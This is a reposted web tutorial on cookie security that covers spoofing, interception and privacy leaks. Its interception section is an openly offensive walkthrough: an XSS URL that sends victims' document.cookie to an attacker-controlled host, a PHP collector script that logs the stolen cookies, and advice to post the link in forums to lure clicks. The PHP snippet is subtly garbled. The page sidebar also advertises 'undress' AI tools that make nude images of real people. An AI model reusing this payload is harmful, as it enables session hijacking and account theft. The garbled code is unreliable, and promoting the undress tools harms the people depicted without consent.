Home Web Front-end JS Tutorial In-depth analysis of cookie security issues_cookies

In-depth analysis of cookie security issues_cookies

May 16, 2016 pm 04:12 PM
cookie safety

The purpose of cookies is to bring convenience to users and add value to the website. Under normal circumstances, they will not cause serious security threats. Cookie files cannot be executed as code and cannot transmit viruses. They are proprietary to the user and can only be read by the server that created it. In addition, browsers generally only allow 300 cookies to be stored, and each site can store up to 20 cookies. The size of each cookie is limited to 4KB. Therefore, cookies will not fill up the hard disk, and will not be used as a "denial of service" attack. means.

However, as a substitute for user identity, the security of cookies sometimes determines the security of the entire system, and the security issues of cookies cannot be ignored.

(1) Cookie spoofing Cookies record information such as user account IDs and passwords, and are usually encrypted using the MD5 method before being transmitted online. Even if the encrypted information is intercepted by some people with ulterior motives on the Internet, it cannot be understood. However, the problem now is that the person who intercepts the cookie does not need to know the meaning of these strings. As long as he submits other people's cookies to the server and can pass the verification, he can pretend to be the victim and log in to the website. This behavior is called cookies. cheat.
Illegal users obtain corresponding encryption keys through cookie deception, thereby accessing all personalized information of legitimate users, including users' emails and even account information, causing serious harm to personal information.
(2) Cookie interception
Cookies are transmitted between the browser and the server in the form of plain text and can easily be illegally intercepted and used by others. Cookies can be read by anyone who can intercept web communications.
After a cookie is intercepted by an illegal user and then replayed within its validity period, the illegal user will enjoy the rights of a legal user. For example, for online reading, illegal users can enjoy online reading of electronic magazines without paying any fees.

Cookie interception methods include the following:

(1) Use programming to intercept cookies. The method is analyzed below. The method is completed in two steps.

Step 1: Locate the website that needs to collect cookies, analyze it and construct the URL. First, open the website where you want to collect cookies, assuming it is http://www.XXX.net. Log in to the website and enter the user name "" (without quotation marks). Analyze the data and capture the packets, and get the following code:
http://www.XXX.net/tXl/login/login.pl? username=&passwd=&ok.X=28&ok.y=6;
Replace "" with:
"<script>alert(document.cookie)</script>" Try again. If the execution is successful, start constructing the URL:
http://www.XXX.net/tXl/login/login.pl? username=<script>window.open ("http://www.cbifamily.org/cbi.php?"+document.cookie)</script>&passwd=&ok.X=28&ok.y=6.
Among them, http://www.cbifamily.org/cbi.php is a script on a certain host that the user can control. Note that "+" is the URL encoding of the symbol " ", since " " will be treated as a space. The URL can be posted in the forum to induce others to click on it.

Step 2: Prepare a PHP script that collects cookies and place it on a website that the user can control. When an unsuspecting person clicks on the constructed URL, the PHP code can be executed. The specific content of the script is as follows:

Copy code The code is as follows:

$info=getenv("OUERY_STRING");
if($info){
$fp=fopen("info.tXt","a");
fwrite($fp,!info."n");
fclose($fp);

header("Location:http://www.XXX.net");
?>

Put this code on the network and you can collect everyone’s cookies. If a forum allows HTML code or allows the use of Flash tags, you can use these technologies to collect Cookie code and put it in the forum, then give the post an attractive topic and write interesting content, and you can quickly collect a large number of Cookies. On the forum, many people's passwords were stolen by this method.
(2) Use the hidden dangers of Flash code to intercept cookies. There is a getURL() function in Flash. Flash can use this function to automatically open a specified web page, which may lead users to a website containing malicious code. For example, when a user is enjoying a Flash animation on a computer, the code in the animation frame may have been quietly connected to the Internet and opened a very small page containing special code. This page can collect cookies and do other harmful things. things. Websites cannot prevent Flash from doing this because it is an internal function of the Flash file.
(3) Cookies leak network privacy
The main reason why cookies cause online privacy leaks is: Driven by commercial interests. With the rise of e-commerce and the emergence of huge business opportunities on the Internet, some websites and institutions abuse cookies and use search engine technology, data mining technology and even network deception technology to collect other people's personal information without the visitor's permission, in order to build users. Database, advertising and other profit-making purposes, resulting in the leakage of users' personal privacy. "The openness of cookie information transmission. Cookie files have special transmission processes and text characteristics. Transmitting unsecurely encrypted Cookie-ie files between the server and the client can easily lead to the leakage of personal information.

The above is my personal understanding of cookie security. Please correct me if there are any omissions.

Statement of this Website
The content of this article is voluntarily contributed by netizens, and the copyright belongs to the original author. This site does not assume corresponding legal responsibility. If you find any content suspected of plagiarism or infringement, please contact admin@php.cn

Hot AI Tools

Undresser.AI Undress

Undresser.AI Undress

AI-powered app for creating realistic nude photos

AI Clothes Remover

AI Clothes Remover

Online AI tool for removing clothes from photos.

Undress AI Tool

Undress AI Tool

Undress images for free

Clothoff.io

Clothoff.io

AI clothes remover

Video Face Swap

Video Face Swap

Swap faces in any video effortlessly with our completely free AI face swap tool!

Hot Tools

Notepad++7.3.1

Notepad++7.3.1

Easy-to-use and free code editor

SublimeText3 Chinese version

SublimeText3 Chinese version

Chinese version, very easy to use

Zend Studio 13.0.1

Zend Studio 13.0.1

Powerful PHP integrated development environment

Dreamweaver CS6

Dreamweaver CS6

Visual web development tools

SublimeText3 Mac version

SublimeText3 Mac version

God-level code editing software (SublimeText3)

Performance and security of PHP5 and PHP8: comparison and improvements Performance and security of PHP5 and PHP8: comparison and improvements Jan 26, 2024 am 10:19 AM

PHP is a widely used server-side scripting language used for developing web applications. It has developed into several versions, and this article will mainly discuss the comparison between PHP5 and PHP8, with a special focus on its improvements in performance and security. First let's take a look at some features of PHP5. PHP5 was released in 2004 and introduced many new functions and features, such as object-oriented programming (OOP), exception handling, namespaces, etc. These features make PHP5 more powerful and flexible, allowing developers to

Security challenges in Golang development: How to avoid being exploited for virus creation? Security challenges in Golang development: How to avoid being exploited for virus creation? Mar 19, 2024 pm 12:39 PM

Security challenges in Golang development: How to avoid being exploited for virus creation? With the wide application of Golang in the field of programming, more and more developers choose to use Golang to develop various types of applications. However, like other programming languages, there are security challenges in Golang development. In particular, Golang's power and flexibility also make it a potential virus creation tool. This article will delve into security issues in Golang development and provide some methods to avoid G

What is the relationship between memory management techniques and security in Java functions? What is the relationship between memory management techniques and security in Java functions? May 02, 2024 pm 01:06 PM

Memory management in Java involves automatic memory management, using garbage collection and reference counting to allocate, use and reclaim memory. Effective memory management is crucial for security because it prevents buffer overflows, wild pointers, and memory leaks, thereby improving the safety of your program. For example, by properly releasing objects that are no longer needed, you can avoid memory leaks, thereby improving program performance and preventing crashes.

Detailed explanation of where browser cookies are stored Detailed explanation of where browser cookies are stored Jan 19, 2024 am 09:15 AM

With the popularity of the Internet, we use browsers to surf the Internet have become a way of life. In the daily use of browsers, we often encounter situations where we need to enter account passwords, such as online shopping, social networking, emails, etc. This information needs to be recorded by the browser so that it does not need to be entered again the next time you visit. This is when cookies come in handy. What are cookies? Cookie refers to a small data file sent by the server to the user's browser and stored locally. It contains user behavior of some websites.

Does win11 need to install anti-virus software? Does win11 need to install anti-virus software? Dec 27, 2023 am 09:42 AM

Win11 comes with anti-virus software. Generally speaking, the anti-virus effect is very good and does not need to be installed. However, the only disadvantage is that the virus is uninstalled first instead of reminding you in advance whether you need it. If you accept it, you don’t need to download it. Other anti-virus software. Does win11 need to install anti-virus software? Answer: No. Generally speaking, win11 comes with anti-virus software and does not require additional installation. If you don’t like the way the anti-virus software that comes with the win11 system is handled, you can reinstall it. How to turn off the anti-virus software that comes with win11: 1. First, we enter settings and click "Privacy and Security". 2. Then click "Window Security Center". 3. Then select “Virus and threat protection”. 4. Finally, you can turn it off

Frequently Asked Questions and Solutions about Cookie Settings Frequently Asked Questions and Solutions about Cookie Settings Jan 19, 2024 am 09:08 AM

Common problems and solutions for cookie settings, specific code examples are required. With the development of the Internet, cookies, as one of the most common conventional technologies, have been widely used in websites and applications. Cookie, simply put, is a data file stored on the user's computer that can be used to store the user's information on the website, including login name, shopping cart contents, website preferences, etc. Cookies are an essential tool for developers, but at the same time, cookie settings are often encountered

How to find cookies in your browser How to find cookies in your browser Jan 19, 2024 am 09:46 AM

In our daily use of computers and the Internet, we are often exposed to cookies. A cookie is a small text file that saves records of our visits to the website, preferences and other information. This information may be used by the website to better serve us. But sometimes, we need to find cookie information to find the content we want. So how do we find cookies in the browser? First, we need to understand where the cookie exists. in browser

Security analysis of Oracle default account password Security analysis of Oracle default account password Mar 09, 2024 pm 04:24 PM

Oracle database is a popular relational database management system. Many enterprises and organizations choose to use Oracle to store and manage their important data. In the Oracle database, there are some default accounts and passwords preset by the system, such as sys, system, etc. In daily database management and operation and maintenance work, administrators need to pay attention to the security of these default account passwords, because these accounts have higher permissions and may cause serious security problems once they are maliciously exploited. This article will cover Oracle default

See all articles